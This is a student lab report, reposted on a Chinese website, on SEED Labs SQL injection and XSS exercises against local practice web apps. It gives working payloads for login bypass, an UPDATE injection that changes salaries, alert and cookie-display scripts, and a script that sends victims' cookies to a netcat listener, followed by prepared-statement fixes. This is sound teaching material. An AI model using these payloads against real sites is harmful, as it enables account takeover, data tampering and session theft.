20232906 2023-2024-2 《網絡與系統攻防技術》第十次作業

20232906 2023-2024-2 《網絡與系統攻防技術》第十次作業

1.實驗內容

一、SEED SQL注入攻擊與防御實驗

我們已經創建了一個Web應用程序,并將其托管在http://www.seedlabsqlinjection.com/(僅在SEED Ubuntu中可訪問)。該Web應用程序是一個簡單的員工管理應用程序。員工可以通過此Web應用程序查看和更新數據庫中的個人信息。此Web應用程序主要有兩個角色:管理員是特權角色,可以管理每個員工的個人資料信息。員工是一般角色,可以查看或更新自己的個人資料信息。完成以下任務:

  • 熟悉SQL語句: 我們已經創建了一個名為Users的數據庫,其中包含一個名為creditential的表。該表存儲了每個員工的個人信息(例如,eid,密碼,薪水,ssn等)。在此任務中,您需要使用數據庫來熟悉SQL查詢。
  • 對SELECT語句的SQL注入攻擊:上述Web應用存在SQL輸入漏洞,任務是在不知道密碼的情況下登陸該Web應用程序。
  • 對UPDATE語句的SQL注入攻擊:通過員工的更新個人界面實施UPDATE語句的SQL注入攻擊。
  • SQL對抗:修復上述SQL注入攻擊漏洞。

二、SEED XSS跨站腳本攻擊實驗(Elgg)

為了演示攻擊者可以利用XSS漏洞做什么,我們在預先構建的Ubuntu VM映像中設置了一個名為Elgg的Web應用程序。在本實驗中,學生需要利用此漏洞對經過修改的Elgg發起XSS攻擊,攻擊的最終目的是在用戶之間傳播XSS蠕蟲,這樣,無論是誰查看的受感染用戶個人資料都將被感染。

  • 發布惡意消息,顯示警報窗口:在您的Elgg配置文件中嵌入一個JavaScript程序,以便當另一個用戶查看您的配置文件時,將執行JavaScript程序并顯示一個警報窗口。
  • 彈窗顯示cookie信息:將cookie信息顯示。
  • 竊取受害者的cookies:將cookie發送給攻擊者。
  • 成為受害者的朋友:使用js程序加受害者為朋友,無需受害者干預,使用相關的工具了解Elgg加好友的過程。
  • 修改受害者的信息:使用js程序使得受害者在訪問Alice的頁面時,資料無需干預卻被修改。
  • 編寫XSS蠕蟲。
  • 對抗XSS攻擊。

2.實驗過程

2.0 環境配置

  1. 這次實驗需要使用SEEDUbuntu-16.04-32,可以通過DigitalOcean鏈接下載,下載后解壓即可得到.vmdk文件。

  2. 在Vmware中選擇“創建新的虛擬機”——“自定義”——Workstation14.x——“稍后安裝操作系統”——“Linux”——“Ubuntu”——位置隨意——處理器2內核1——內存2048MB——“網絡地址轉換”——“LSI Logic”——“SCSI”——“使用現有虛擬磁盤”——選擇步驟1解壓的文件中的“SEEDUbuntu-16.04-32bit.vmdk”完成創建。

  3. 開機后,點擊“虛擬機(M)”——安裝Vmware Tools

  4. 在左邊欄中點擊DVD圖標,找到其中的壓縮包tar文件,將其復制到home目錄下,如圖一所示。


    圖一 復制壓縮包
  5. 雙擊壓縮包并點擊“Extract”進行解壓,然后進入解壓得到的文件夾中,鼠標右鍵——“Open in Terminal”,然后在終端中輸入命令sudo ./vmware-install.pl,在安裝過程中,遇到【Y/N】輸入y,遇到其他提示直接按回車,安裝結束后重啟虛擬機即可完成安裝。

2.1 SEED SQL注入攻擊與防御實驗

2.1.1 基礎知識
  1. SQL(Structured Query Language)是“結構化查詢語言”,它是對關系型數據庫的操作語言。它可以應用到所有關系型數據庫中,例如:MySQL、Oracle、SQL Server 等。
  2. SQL注入是一種非常常見的數據庫攻擊手段,SQL注入漏洞也是網絡世界中最普遍的漏洞之一。 SQL注入其實就是惡意用戶通過在表單中填寫包含SQL關鍵字的數據來使數據庫執行非常規代碼的過程。這個問題的來源是,SQL數據庫的操作是通過SQL語句來執行的,而無論是執行代碼還是數據項都必須寫在SQL語句之中,這就導致如果我們在數據項中加入了某些SQL語句關鍵字(比如說SELECT、DROP等等),這些關鍵字就很可能在數據庫寫入或讀取數據時得到執行。
2.1.2 熟悉SQL語句
  1. 首先我們熟悉一下SQL語句的使用,在SEED Ubuntu中輸入命令mysql -u root -p,然后回車并輸入密碼seedubuntu登錄數據庫,如圖二所示。

    -u:指定用戶名
    -p:指定密碼。


    圖二 登錄MySQL數據庫
  2. 輸入命令查詢Users數據庫中的數據表,并使用命令讀取數據表中的字段,每行分別輸入回車執行,如圖三所示。

    use Users;	//切換到Users數據庫
    show tables;	//查詢Users數據庫中的數據表
    select * from credential;	//查詢credential表中的條目
    

    圖三 查詢Users數據庫中的數據表
2.1.3 對 SELECT 語句的SQL注入攻擊
  1. SELECT 語句用于從數據庫中選取數據。結果被存儲在一個結果表中,稱為結果集

  2. 2.1.2中的數據表是http://www.seedlabsqlinjection.com/使用的數據,我們訪問該網站,隨意輸入用戶名和密碼,網站提示如圖四所示。


    圖四 隨意輸入用戶名和密碼后網站提示
  3. 單擊“F12”——“Network”,然后刷新網頁,可以發現用戶名和密碼通過GET請求(通過URL的傳參也可以看出)提交至unsafe_home.php頁面進行身份檢驗,如圖五所示。


    圖五 查看網絡流量
  4. 據上述分析,我們檢查一下unsafe_home.php的相關代碼,在終端中使用命令vim /var/www/SQLInjection/unsafe_home.php,結果如圖六所示。首先檢查了一下Session確認是否已經登錄,然后和Users數據庫建立連接,并從credential表中查找用戶輸入的用戶名和密碼組合是否存在。


    圖五 unsafe_home.php
  5. 繼續往下看,可以發現如圖六所示代碼,如果用戶為Admin,則會輸出所有用戶的信息。


    圖六 判斷是否為管理員
  6. 其中,我們要注入的SQL查詢為:

    SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd';
    
  7. 在SQL語句中,“#”表示注釋,如果我們的用戶名輸入為“Admin’#”,則SQL查詢變為:

    SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= 'Admin'#' and Password='$hashed_pwd';
    

    不難看出' and Password='$hashed_pwd'被當作注釋而無法發揮作用,所以只需要輸入用戶名:Admin'#即可進入該網站的管理員界面,如圖七所示,同理將用戶名換為[數據表中6用戶名之一]'#既可以登入對應用戶的賬戶:


    圖七 成功進行SQL注入攻擊
2.1.4 對 UPDATE 語句的SQL注入攻擊
  1. UPDATE 語句用于更新表中已存在的記錄。

  2. 按照2.1.3的分析,我們輸入用戶名Alice'#登入Alice的賬戶,如圖八所示。


    圖八 通過SQL注入攻擊登入Alice賬戶
  3. 單擊“F12”——“Network”,然后單擊“Edit Profile”然后直接點“Save”,如圖九所示,瀏覽器將修改后的數據傳入unsafe_edit_backend.php中進行處理。


    圖九 數據傳入unsafe_edit_backend.php中處理
  4. 在終端中輸入命令vim /var/www/SQLInjection/unsafe_edit_backend.php查看對應的代碼,如圖十所示。正常情況下員工可以修改自己的昵稱、右鍵、地址、密碼和電話號碼。


    圖十 unsafe_edit_backend.php
  5. 其中,我們要注入的SQL語句為:

    UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;
    
  6. 在 NickName 一欄輸入', salary='1000' where Name='Alice';#,則SQL查詢變為:

    UPDATE credential SET nickname='', salary='1000' where Name='Alice';#,email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;
    

    這樣便可以成功修改Alice的工資金額為1000,如圖十一所示:


    圖十一 成功修改Alice的工資金額
  7. 同理在 NickName 一欄輸入', salary='1000' where Name='[其他用戶名]';#,則SQL查詢變為:

    UPDATE credential SET nickname='', salary='1000' where Name='[其他用戶名]';#,email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;
    

    這樣甚至可以修改其他人的工資金額,將salary換成Password則可以修改其他用戶的密碼,這里不再演示。

2.1.5 SQL對抗
  1. SQL注入漏洞存在的原因是代碼和數據沒有隔離。程序沒有對SQL語句進行檢查,并禁止出現“;”、“#”等可能導致SQL注入的符號,因此產生了漏洞。
  2. 我們可以使用預處理語句阻止上面分析的兩種SQL注入攻擊。
  3. 對于unsafe_home.php,我們對SELECT語句進行預處理,修改如下:
    //原來的php代碼:
    $sql = "SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= '$input_uname' and Password='$hashed_pwd';";//修改后的php代碼:
    $sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password FROM credential WHERE name= ? and Password= ?;");
    $sql->bind_param("ss", $input_uname, $hashed_pwd);
    
  4. 對于unsafe_edit_backend.php,我們也對UPDATE語句進行預處理,修改如下:
    //原來的php代碼
    if($input_pwd!=''){
    // In case password field is not empty.
    $hashed_pwd = sha1($input_pwd);
    //Update the password stored in the session.
    $_SESSION['pwd']=$hashed_pwd;
    $sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',Password='$hashed_pwd',PhoneNumber='$input_phonenumber' where ID=$id;";}else{
    // if passowrd field is empty.
    $sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
    }//修改后的php代碼:
    if($input_pwd!=''){
    // In case password field is not empty.
    $hashed_pwd = sha1($input_pwd);
    //Update the password stored in the session.
    $_SESSION['pwd']=$hashed_pwd;
    $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,Password=?,PhoneNumber=? where ID=$id;");
    $sql->bind_param("sssss", $input_nickname, $input_email, $input_address, $hashed_pwd, $input_phonenumber);
    }else{
    // if passowrd field is empty.
    $sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
    $sql->bind_param("ssss", $input_nickname, $input_email, $input_address, $input_phonenumber);
    }
    

2.2 SEED XSS跨站腳本攻擊實驗

2.2.1 基礎知識

跨站腳本攻擊XSS(Cross Site Scripting),為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。惡意攻擊者往Web頁面里插入惡意Script代碼,當用戶瀏覽該頁面時,嵌入Web里面的Script代碼會被執行,從而達到惡意攻擊用戶的目的。
XSS分為:存儲型 、反射型 、DOM型三種

  • 存儲型XSS:存儲型XSS,持久化,代碼是存儲在服務器中的,如在個人信息或發表文章等地方,插入代碼,如果沒有過濾或過濾不嚴,那么這些代碼將儲存到服務器中,用戶訪問該頁面的時候觸發代碼執行。這種XSS比較危險,容易造成蠕蟲,盜竊cookie
  • 反射型XSS:非持久化,需要欺騙用戶自己去點擊鏈接才能觸發XSS代碼(服務器中沒有這樣的頁面和內容),一般容易出現在搜索頁面。反射型XSS大多數是用來盜取用戶的Cookie信息。
  • DOM型XSS:不經過后端,DOM-XSS漏洞是基于文檔對象模型(Document Objeet Model,DOM)的一種漏洞,DOM-XSS是通過url傳入參數去控制觸發的,其實也屬于反射型XSS。
2.2.2 發布惡意消息,顯示警報窗口
  1. 我們訪問http://www.xsslabelgg.com/,使用Alice的身份登錄,用戶名為Alice,密碼為seedalice

  2. 如圖十二所示,點擊“Alice”——“Edit Profile”,然后在“Brief description”中寫入以下內容:

    <script>alert("xss");</script>	//彈出警告窗口,顯示“xss”
    

    圖十二 在Brief description中寫入js代碼
  3. 點擊“Save”保存后,之后每次訪問http://www.xsslabelgg.com/profile/alice都會彈出xss的alert窗口,如圖十三所示。


    圖十三 每次訪問Alice的主頁都會彈出xss的alert窗口
  4. 同樣,我們使用Boby的身份登錄該系統,點擊“More”——“Members”,則也會看到xss的彈窗,如圖十四所示。


    圖十四 其他人都會受此影響
2.2.3 彈窗顯示 cookie 信息
  1. 按照2.2.2的操作流程,把填入“Brief description”中的內容改為:

    <script> alert(document.cookie);</script>
    

    即可彈窗顯示cookie信息,如圖十五所示。


    圖十五 彈窗顯示了用戶當前的cookie信息
2.2.4 竊取受害者的 cookies
  1. 當JavaScript插入img標簽時,瀏覽器會嘗試從src字段中的URL加載圖片,這一過程有HTTP GET請求發送到對應的URL,據此我們可以編寫js代碼,如下所示。

    <script>document.write('<img src=http://127.0.0.1:5555?c=' + escape(document.cookie) + '>');
    </script>
    
  2. 我們把這段js代碼還是寫入“Brief description”中,然后開啟終端并輸入命令nc -l 5555 -v監聽5555端口。

    -l:用于指定nc將處于偵聽模式,即作為server偵聽指定端口。
    -v:輸出交互或出錯信息。

  3. 之后只要有用戶訪問Alice的主頁,netcat就會接收到該用戶的cookie,如圖十六所示。


    圖十六 netcat接收到了cookie信息
2.2.5 成為受害者的朋友
2.2.6 編寫 XSS 蠕蟲
2.2.7 對抗 XSS 攻擊

3.問題及解決方案

  • 問題1:***

  • 問題1解決方案:***

4.學習感悟、思考等


參考資料

  • SEED Labs - Wenliang Du
  • 入坑解讀 | 什么是SQL注入? - 信息安全發送者
  • execstack_0.0.20131005-1+b10_amd64.deb

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/13355.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/13355.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/13355.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

算法day08

第一題 1. 兩數之和 由上述題意所知&#xff0c;本題要采用二分法的解題思路&#xff0c;二分法主要是面向有序的數組且也滿足二段性的數組&#xff0c;所謂二段性就是在一定的規則下能把該數組分成兩個部分&#xff1b; 本題注意要點&#xff1a; 1、循環結束的條件&#xff…

行為決策樹

系列文章目錄 提示:這里可以添加系列文章的所有文章的目錄,目錄需要自己手動添加 TODO:寫完再整理 文章目錄 系列文章目錄前言行為決策樹前言 認知有限,望大家多多包涵,有什么問題也希望能夠與大家多交流,共同成長! 本文先對** 行為決策樹**做個簡單的介紹,具體內容后…

從國內盲盒小程序看國外市場的發展機遇與挑戰

近年來&#xff0c;隨著國內電商市場的蓬勃發展&#xff0c;盲盒小程序作為一種新興的電商模式&#xff0c;以其獨特的購物體驗和創新的營銷策略&#xff0c;迅速贏得了廣大消費者的喜愛。然而&#xff0c;隨著國內市場逐漸趨于飽和&#xff0c;許多盲盒小程序開始尋求海外市場…

【Leetcode每日一題】 綜合練習 - 括號生成(難度??)(76)

1. 題目解析 題目鏈接&#xff1a;22. 括號生成 這個問題的理解其實相當簡單&#xff0c;只需看一下示例&#xff0c;基本就能明白其含義了。 2.算法原理 問題描述 我們需要找出所有可能的、有效的括號序列。一個有效的括號序列指的是一個僅由(和)組成的字符串&#xff0c;…

ssm132醫院住院綜合服務管理系統設計與開發+vue

醫院住院綜合服務管理系統的設計與實現 摘 要 互聯網發展至今&#xff0c;無論是其理論還是技術都已經成熟&#xff0c;而且它廣泛參與在社會中的方方面面。它讓信息都可以通過網絡傳播&#xff0c;搭配信息管理工具可以很好地為人們提供服務。針對醫院住院信息管理混亂&…

【高階數據結構(四)】圖的最短路徑問題

&#x1f493;博主CSDN主頁:杭電碼農-NEO&#x1f493; ? ?專欄分類:高階數據結構專欄? ? &#x1f69a;代碼倉庫:NEO的學習日記&#x1f69a; ? &#x1f339;關注我&#x1faf5;帶你學習更多數據結構 ? &#x1f51d;&#x1f51d; 高階數據結構 1. 前言2. 單源最短…

第八篇 Asciidoc 輸出 All In One HTML 解決圖片無法顯示問題

問題:我的圖片顯示不出來了 小明使用 Asciidoc 來記筆記,他將筆記輸出為 HTML 文件。小麗向小明借筆記。小明將 Asciidoc 筆記輸出為 HTML文件,并拷貝給了小麗。 但是,小麗發現,圖片都顯示不出來了。 小麗:小明,你給我的筆記,圖片都顯示不出來啊。 小明:是我給你的…

析構函數詳解

目錄 析構函數概念特性對象的銷毀順序 感謝各位大佬對我的支持,如果我的文章對你有用,歡迎點擊以下鏈接 &#x1f412;&#x1f412;&#x1f412; 個人主頁 &#x1f978;&#x1f978;&#x1f978; C語言 &#x1f43f;?&#x1f43f;?&#x1f43f;? C語言例題 &…

yolov8實戰之 .pt 轉. tensorRT

1 yolo 訓練 1.1修改自己的數據集合 我是有3個類別&#xff0c;差不多這么些數據 1.2 訓練 from ultralytics import YOLO # Load a model model YOLO("yolov8m.yaml") # build a new model from scratch #model YOLO(E:/pythonCode/pythonProject1/runs/detec…

風電功率預測 | 基于PSO-BP神經網絡實現風電功率預測(附matlab完整源碼)

風電功率預測 風電功率預測完整代碼風電功率預測 基于粒子群優化算法(Particle Swarm Optimization, PSO)的BP神經網絡是一種常見的方法,用于實現風電功率預測。下面是一個基于PSO-BP神經網絡實現風電功率預測的一般步驟: 數據準備:收集與風電場發電功率相關的數據,包括…

農林科學SCI期刊,IF=6+,影響力高,對國人非常友好!

一、期刊名稱 Crop Journal 二、期刊簡介概況 期刊類型&#xff1a;SCI 學科領域&#xff1a;農林科學 影響因子&#xff1a;6.6 中科院分區&#xff1a;1區 出版方式&#xff1a;開放出版 版面費&#xff1a;$900 三、期刊征稿范圍 《作物雜志》是一份雙月刊、國際、同…

PHP使用Browsershot進行網頁截圖

Browsershot是什么 Spatie Browsershot 是一個開源PHP庫&#xff0c;它允許開發者在PHP應用程序中生成網頁的截圖。 這個庫特別適用于Laravel框架&#xff0c;但也可以在其他 PHP 應用程序中使用。 主要特點 無頭瀏覽器截圖&#xff1a;使用無頭版本的 Chrome 或 Chromium 瀏…

整理好了!2024年最常見 100 道 Java基礎面試題(四十九)

上一篇地址&#xff1a;整理好了&#xff01;2024年最常見 100 道 Java基礎面試題&#xff08;四十八&#xff09;-CSDN博客 九十七、Class.forName 和 ClassLoader 的區別&#xff1f; Class.forName 和 ClassLoader 是Java中用于加載類的兩個不同的概念&#xff0c;它們在類…

10W 3KVAC隔離 寬電壓輸入 AC/DC 電源模塊 ——TP10AF系列

TP10AF系列輸出功率為10W&#xff0c;具有可靠性高、更小的體積、性價比高等特點&#xff0c;廣泛用于工控和電力儀器、儀表、智能家居等相關行業。

SMB攻擊利用之-mimikatz上傳/下載流量數據包逆向分析

SMB協議作為windows環境下最為常見的一種協議,在歷史上出現過無數的通過SMB協議進行網絡攻擊利用的案例,包括針對SMB協議本身以及通過SMB協議實施網絡攻擊。 本文將介紹一種通過SMB協議的常見利用方式,即向遠程主機傳輸mimikatz,作為我的專欄《SMB攻擊流量數據包分析》中的…

Oracle數據塊之數據行中的SCN

從Oracle 10g開始&#xff0c;如果在表級別打開ROW DEPENDENCIES&#xff0c;業務數據行發生更改時會在數據塊中進行登記。 可以通過DUMP數據塊來觀察上述SCN&#xff1a; &#xff08;1&#xff09;創建測試表&#xff0c;插入3條測試數據&#xff0c;插入一條提交一次。并調用…

解析建筑裝飾乙級資質標準及申請流程

建筑裝飾乙級資質標準 資歷與信譽 必須具備獨立的企業法人資格。社會信譽良好&#xff0c;注冊資本不少于100萬元人民幣。 技術條件 專業技術人員配備齊全、合理&#xff0c;滿足相應資質標準中對主要專業技術人員數量和專業的具體要求。通常包括但不限于室內設計、建筑、環境藝…

jar包增量更新分析

jdk自帶工具jdeps&#xff0c;可分析class依賴關系&#xff08;依賴的其它類和jar&#xff09;。 團隊&#xff0c;可以在此工具結果的基礎上再詳細分析對比出增量文件&#xff1b; 思路如下&#xff1a; jdeps分別分析出舊包和新包的文件依賴關系。并對比出新增的文件列表、…

前端學習第一課

AJAX 事先說明&#xff0c;這只是記錄&#xff0c;并不是從零到一的教學內容&#xff0c;如果想要學習的話&#xff0c;可以跳過本文章了 ok&#xff0c;轉回正題&#xff0c;正如上面所說&#xff0c;這只是記錄。其實我是有一定的前端基礎的&#xff0c;也做過涉及相關的開發…